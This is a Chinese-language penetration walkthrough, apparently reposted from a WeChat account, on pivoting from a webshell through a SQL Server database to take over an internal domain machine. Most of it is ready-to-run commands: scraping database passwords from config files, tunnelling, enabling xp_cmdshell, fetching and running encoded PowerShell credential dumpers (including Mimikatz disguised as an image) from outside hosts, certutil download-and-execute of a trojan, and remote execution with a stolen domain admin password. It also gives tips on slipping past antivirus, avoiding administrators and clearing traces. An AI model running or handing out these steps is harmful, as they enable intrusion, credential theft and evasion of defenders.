Mssql 常规提权

admin 2021年10月27日02:24:09安全文章评论18 views7125字阅读23分45秒阅读模式

Mssql 常规提权

文章来源:安全先师

本次环境介绍:

目标 web  机器名:  2012ptrBK  基础网络配置:  10.0.0.5/255.255.255.0/10.0.0.254 192.168.100.8/255.255.255.0/192.168.100.1  在域内  可正常通外网目标内网的那台 mssql  机器名:  Newptrs  基础网络配置:  10.0.0.7/255.255.255.0/10.0.0.254  在域内  可正常通外网本地机器  机器名:  Pentest  基础网络配置:  192.168.220.129


0x01 首先,尝试搜集当前机器中的所有 sa 密码 [ 先不管它有没有用,习惯性的撸过来再说,后续的某个环节中也许就用的到]


注意,如果是你是像我一样,直接在菜刀终端里这样搜,务必先cd到目标的web目录下,切记,不要直接从根路径往下搜,等待结果的时间可能会比较长,菜刀会超时,比较烦,或者,如果你发现web目录下的站非常多,你可以直接把结果重定向到指定文件中也行

# dir /b /s web.config >> tmps.logs# del tmps.logs /F


Mssql 常规提权


随后,确认下mssql数据库连接的账号密码字段名[如下,"UserId=","Password="],因为后续我们需要根据这个字段名来批量撸sa的密码[在内网快速扩机器抓hash的一种非常有效的方式],通常情况下,一台机器的数据库连接账号密码字段名都是相同的

#typeweb.config


Mssql 常规提权

再根据上面已知的数据库连接账号密码字段名,我们就可以直接利用findstr在指定的web目录下批量抓取sa密码[如下可以看到,很显然的站库分离,其实对aspx来讲,这也再正常不过,遇到的大多数环境都是如此,但这并不太影响我们后续的实际利用]

 

# findstr /c:"User Id=" /c:"Password=" /si web.config >> tmps.logs# findstr /c:"User Id=sa" /c:"Password=" /si web.config >> tmps.logs当然,也可以只抓 sa 的密码,不过个人不太建议这样干,因为会漏掉很多其它的账号密码,我们扩机器的另一个目的其实也是为了不停搜集密码,直到抓到我们想要的密码为止# del tmps.logs /F

Mssql 常规提权


接着,再来简单了解下当前机器[即,2012ptrBK]的大致信息,比如,用的什么杀软套装[ 通常,大部分情况下,一个内网几乎用的都是同一种防护产品,后期只需针对性的做下免杀及调试即可,此处用的 ESET6.x 企业杀毒 ],确认当前 webshell权限,很显然此 处只是个很低的 iis服务权限,再来看下能不能正常通外网[ 通常情况下,边界机器能通,基本就说明内网中的大多数机器应该也都能通[此处并不绝对,很多内网重点机器就是断网的 ],最后看下本机的详细 ip配置,主要是借此想了解下当前机器在不在域内,当前机 器名及ip是多少,掩码有多大[根据这个来初步估算内网机器数量规模],有几个内网段[此处暂时就看到两个标准C段],对这些基本情况,心里都要大致先有个谱

# whoami /user# wmic product get name,version# tasklist | findstr /c:"egui.exe" /c:"ekrn.exe"# ping www.github.com# ipconfig /all

Mssql 常规提权

Mssql 常规提权


0x02其次,通过http加密代理[你当然也可以用socks,但个人建议,没必要],直接在本地用SQLServerManagementStudio连到目标内网中指定的mssql上


开始之前,先多说几句废话,有些朋友可能已经习惯了直接在菜刀,大马或者脚本里面去操作mssql,在实战中,个人其实并不太建议那样干,因为非常不方便,比如,你后面想要编辑一些稍复杂的后门存储过程时,直接在那里面干是很不现实的,没错,你会说不是还 有navicat吗,但相比mssql标配的原生mssql客户端[studio]它依然还是坨屎,操作依旧很蛋疼[也可能是自己已经习惯了studio吧,觉得它确实非常强大好用,且没有之一],退一步来讲,有些脚本还会被部分av查杀[虽然静态确实很好绕过,但完全没必要去浪费那个时间不是吗],而且直接通过脚本执行命令,某些  waf也会拦,实战中,求的往往是稳而不是花哨和快,ok,废话不多说,弟兄们能明白意思即可,我们来看实际操作

 

首先,上传自己的代理脚本到目标web目录下,最好隐藏的深一点,此处依然用abptts

http://target.com/session/SesActions.aspx


Mssql 常规提权

之后,回到本地机器用abpttsclient.py客户端连到上面的代理脚本,并做如下的转发,即把本地的143端口转到目标内网10.0.0.7机器的1433端口上,如下,看到本地的143端口处于监听状态,则说明我们的通道此时已基本打通


#python abpttsclient.py -u "http://target.com/Control/SesActions.aspx" -c shellboxconfig.txt -f127.0.0.1:143/10.0.0.7:1433

Mssql 常规提权


剩下的事情就很简单了,只需打开本地的SQLServerManagementStudio再用上面已经抓到的sa密码,连到127.0.0.1的143端口上,即可成功连到目标内网10.0.0.7机器的mssql上,下一步尝试启用xp_cmdshell即可

Mssql 常规提权



0x03尝试启用目标mssqlxp_cmdshell


启用过程很简单,过程中如果没看到任何返回或者报错提示,则代表启用成功,之后只需用xp_cmdshell去尝试执行系统命令即可,通过如下简单的机器信息搜集我们发现,目标此处直接是以内建域管[典型的智障]权限起的mssql服务,杀软也跟起初想的一样,依 旧用的ESET套装[只不过此处不是杀毒,而是更加蛋疼的efs],目标Mssql版本为2008r2,既然提到版本,顺便再多说一点,从2008r2之后的mssql版本,如果是全程在默认情况下安装,已不再是administrator或者system,而是一个很低的network权限

 

select @@version;exec sp_configure 'show advanced options', 1;reconfigure; exec sp_configure 'xp_cmdshell',1;reconfigure;
exec master..xp_cmdshell 'tasklist | findstr /c:"ekrn.exe" /c:"egui.exe" & whoami /user'; exec master..xp_cmdshell 'wmic OS get Caption,CSDVersion,OSArchitecture,Version';exec master..xp_cmdshell 'wmic product get name,version';


Mssql 常规提权


以下,便是我们在操作目标内网 mssql时的具体数据收发过程,其实这个动静儿还是不小的,从网络连接都能看出来

 

Mssql 常规提权


接着,再简单看下Mssql机器[即,Newptrs这台机器]最近的登录记录以及能不能正常通外网,主要是为了后续抓明文和远程加载脚本做准备,如下,我们看到,administrator登录缓存还在,pinggithub也只是显示超时且能解析出公网ip而非不可达,说明网 络可通,那后续就相对好办了


exec master..xp_cmdshell 'query user& ping www.github.com -n5';

Mssql 常规提权


0x04尝试直接远程加载ps脚本抓取内网10.0.0.7机器的本地用户密码hash

 

为避免一些不必要的麻烦,可习惯性的把ps先编码下再丢上去执行,具体下,实测这种抓hash方式,efs暂时是不会拦的

PS C:> $text = "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/klionsec/CommonTools/master/Get-PassHashes.ps1');Get-PassHashes;" PS C:> $Bytes = [System.Text.Encoding]::Unicode.GetBytes($Text)PS C:> $EncodedText =[Convert]::ToBase64String($Bytes)PS C:> $EncodedText > bs64.txt


 如下,便是抓取到的10.0.0.7机器的本地用户密码hash

Mssql 常规提权

sql> exec master..xp_cmdshell 'powershell -exec bypass -encodedcommandbs64.txt';


而后,只需全部复制到本地丢给 GPU跑跑就行了,至于到底能不能跑出来,听天由命

Mssql 常规提权

0x05尝试远程加载ps脚本抓取内网10.0.0.7机器的明文密码


在上面我们了解到,最近有administrator的登录记录,所以此处就去尝试抓下明文,Readme.jpg其实就是简单混淆[至于具体怎么静态混淆,之前的文章中已有详细说明,此处不再赘述]过的invoke-mimikatz.ps1

http://tm.org/Readme.jpg


Mssql 常规提权

Mssql 常规提权


依旧是编码后,丢上去执行

PS C:> $text = "IEX (New-Object Net.WebClient).DownloadString('http://srv.team.com:80/Readme.jpg'); Readme -Gethash" PS C:> $Bytes = [System.Text.Encoding]::Unicode.GetBytes($Text)PS C:> $EncodedText =[Convert]::ToBase64String($Bytes)PS C:> $EncodedText > bs64.txt


如下,直接抓到域管的明文密码,特别说明,此处纯粹是运气,直接就撞到了内建域管的明文密码,但,不得不说的是,实战中的大多数情况下,几乎都不太可能会出现这样的情况,相反,"找"域管密码的过程,着实让人比较蛋疼

Mssql 常规提权


 0x06尝试自定马上线

如下可以看到,当我们直接去尝试执行ps的beacon时efs会直接拦掉,不过,话说回来,实战中,我们也不是说一定就非要上cs才行,离了cs好像就不能干活儿了一样,完全不是的

 

Mssql 常规提权

 

可以直接用自己的马来搞,这样不仅能省去很多不必要的麻烦[比如,免杀/穿透的问题]也能帮我们节省大量的时间去专门搞后渗透[找资料],此处,是先把马传到web机器上,再通过web机器把马推到内网的10.0.0.7机器上,最后再用wmic远程执行的,比如, 内网的mssql机器断网时我们就可以这么干,具体过程demo如下,最终的上线效果,就不给大家看了,能理解意思即可,操作过程不太重要

# net use \10.0.0.7admin$ /user:"demoadministrator" "blackCeeeK#$%^2368"# copy loader \10.0.0.7admin$temp# copy klsr \10.0.0.7admin$temp# wmic /node:10.0.0.7 /user:"demoadministrator" /password:"blackCeeeK#$%^2368" PROCESS call create "c:windowstemploader c:windowstempklsr"# del \10.0.0.7admin$temploader /F# del \10.0.0.7admin$tempklsr /F# dir \10.0.0.7admin$temp# net use \10.0.0.7admin$  /del

Mssql 常规提权


其实,如果你的马就时一个免杀好的单 exe,直接这样一句话远程加载执行反而会更方便些,省得再去 netuse copy,wmic

sql> exec master..xp_cmdshell 'certutil -urlcache -split -fhttps://*/master/sh.txt %temp%/load.exe & %temp%/load.exe &certutil.exe -urlcache -split -f https://*/master/sh.txtdelete'


如果非要上  cs,不妨好好看看这个,根据提供的思路,再想办法自行深度定制下,无文件,内存加密执行shellocde

https://github.com/two06/Inception


0x08 rdp 利用

如下,我们看到,10.0.0.7  这台机器的  Rdp默认就已开启且工作在默认端口,此时就没啥太多好说的了,直接拿着我们刚刚在上面抓到的明文密码去正常登录即可,登录时间最好选择在目标那边得晚上或者节假日,下班的时候,尽量避免撞见管理员的尴尬

exec master..xp_cmdshell 'netstat-ano'

Mssql 常规提权


登录之前,依然还是用abptts做下转发,即把本地的389转到内网10.0.0.7机器的3389端口上。

#python abpttsclient.py -u "http://target.com/SesActions.aspx" -cshellboxconfig.txt -f127.0.0.1:389/10.0.0.7:3389

Mssql 常规提权


最终的连接效果,最后,记得顺手清除连接记录

Mssql 常规提权


0x09cmd下操作rdp的简要过程

查询目标 rdp状态

# reg query "hkey_local_machinesystemcurrentcontrolsetcontrolterminal server" /v fdenytsconnections# reg query "hkey_local_machinesystemcurrentcontrolsetcontrolterminal serverwinstationsrdp-tcp" /v portnumber


开启或关闭目标rdp

# reg add "hkey_local_machinesystemcurrentcontrolsetcontrolterminal server" /v fdenytsconnections /t reg_dword /d 0 /f# reg add "hkey_local_machinesystemcurrentcontrolsetcontrolterminal server" /v fdenytsconnections /t reg_dword /d 1 /f


win2003下防火墙放行rdp端口

# netsh firewall add portopening tcp 3389 "remote desktop"# netsh firewall delete portopening tcp 3389


win2008之后系统防火墙放行rdp端口

# netsh advfirewall firewall add rule name="remote desktop" protocol=tcp dir=in localport=3389 action=allow# netsh advfirewall firewall delete rule name="remote desktop" dir=in protocol=tcp localport=3389


0x10 干完该干的活儿,顺手恢复 mssql 默认配置


禁用以后,记得再用 xp_cmdshell执行下系统命令看看是不是确实已经被禁用掉了,如下

exec sp_configure 'show advanced options', 1;reconfigure; execsp_configure 'xp_cmdshell', 0;reconfigure;exec master..xp_cmdshell 'whoami';


Mssql 常规提权


0x11最后,把所有库中所有的账号密码全部撸出来,留作后期内网横向扩展


如下,抓取所有数据库用户账号及密码hash[hash 可以直接丢给GPU,hashcat对此算法优化的还是非常不错的],当然啦,除了这些,现有库中的所有用户表中的账号密码也都可以一并撸出来,还是那句话,先不管它到底有没有用,我都会先把它撸出来再说,也许 等到将来某一天,你所有的  shell都掉了,但只要有一个关键的密码还能用,你就还有把权限再拿回来的可能性,而这些密码从哪儿来,完全都是在你当初渗透时,一点点从各个地方慢慢积累来的

SELECT name, password_hash FROMmaster.sys.sql_logins;

Mssql 常规提权


小结:


至此,单单通过 mssql,已经帮我们在目标内网拿下了一个相对稳定的据点,那接下来的事情就一目了然了,当然,此处的实战环境稍微过于理想,目的也是仅作科普,至于一些比较蛋疼的情况,比如,xp_cmdshell 被删除,mssql服务被降权,等等等...我们后续再一一慢慢说,另外,关于mssql的更多实战利用技巧[比如,很久之前提到的通过令牌伪造,本地hash注入实现无密码访问,等...]以及后渗透,内容还非常多,此处暂不做过多涉及,来日方长,待续...

Mssql 常规提权


推荐文章++++

Mssql 常规提权

*利用“爬虫软件"获取某 TOP 级平台 11.8 亿条数据!嫌疑人被判刑!

*推荐|最好用的Windows提权合集项目

*Windows系统提权之数据库提权


Mssql 常规提权

Mssql 常规提权

本文始发于微信公众号(黑白之道):Mssql 常规提权

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年10月27日02:24:09
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  Mssql 常规提权 http://cn-sec.com/archives/396830.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: